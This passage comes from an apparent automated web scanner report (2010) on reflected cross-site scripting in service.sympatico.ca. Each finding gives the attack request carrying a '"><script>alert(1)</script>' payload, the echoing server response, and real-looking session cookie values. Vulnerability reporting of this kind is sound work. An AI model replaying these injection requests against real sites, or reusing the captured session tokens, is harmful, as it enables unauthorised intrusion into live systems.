Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:31 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:31 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_leftFAQ_off_en.gif?13958"><script>alert(1)</script>fe4d6f91b99=1" />
...[SNIP]...

2.106. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavShop_en.gif [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavShop_en.gif

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4ac48"><script>alert(1)</script>37ed703f0b9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C4ac48"><script>alert(1)</script>37ed703f0b9/images/bt_topNavShop_en.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:39 GMT
Connection: close
Set-Cookie: SMSESSION=zLWzVXLNFFvhs3ira/JCbMPZfSZ7REcy5M5VDlzVOk1GOiQL8EY6xU07kRqJ0zdMdndAvIqhSCvelyrHGQO1eyVAVt0YEL2GIOYsR4WOdBleM88SGgEWGJAnFkKmqoVD+sW62qJjworKRlG7WmqwxXFdAX9PP2nMJKCrM8Fi1K2dM3PmDPCZ2UpRJNO1ZNPTYnZ2HMKmBy8pqpIDyOxSFBITq3GCkh3O1Qool6TRMkUM5qpUSTutHWyISJ9XlA01nr3O1dZoctazLJQveeJbXjNhAr3D6LMl0Ivlz235oAE/OUYlYfk6Yw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:39 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:39 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:39 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:39 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:39 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:39 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
e="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C4ac48"><script>alert(1)</script>37ed703f0b9/images/bt_topNavShop_en.gif" />
...[SNIP]...

2.107. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavShop_en.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavShop_en.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e36d1"><script>alert(1)</script>2906771bb91 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/imagese36d1"><script>alert(1)</script>2906771bb91/bt_topNavShop_en.gif HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:50 GMT
Connection: close
Set-Cookie: SMSESSION=BwAk6clpeZ6+ALMhQDtTlV6vX1o9MmDFnNTBPQEbq2mJWXtDyU47bjS6rnt0sLfFDZvoJ+ZMXMIhOrezxICYXo2phCshcxOeXfadoRQ/m246USXutmwBQFtu89FDeC0MKNwrP+KkL8MPY/JzJl+xiJsR2/yzW2WnVyOgAs8SmqnczvZ/rQ2sAoS5iAwOrwQa77KsIgWwFQc2y9Q98aJtc6y9Va4yuKMU7ZUd0Rm6hCc9/mTyXToCPhFYImwVGTLKkXTIdib+FaLod77xBIi3KfeetqmO+IRBj1V3mTvpm6SkYkv8M2LfMA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:16:50 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:16:50 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:16:50 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:16:50 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:50 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:16:50 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/imagese36d1"><script>alert(1)</script>2906771bb91/bt_topNavShop_en.gif" />
...[SNIP]...

2.108. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavShop_en.gif [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavShop_en.gif

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b3904"><script>alert(1)</script>7fe4edf8f9b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/bt_topNavShop_en.gifb3904"><script>alert(1)</script>7fe4edf8f9b HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:59 GMT
Connection: close
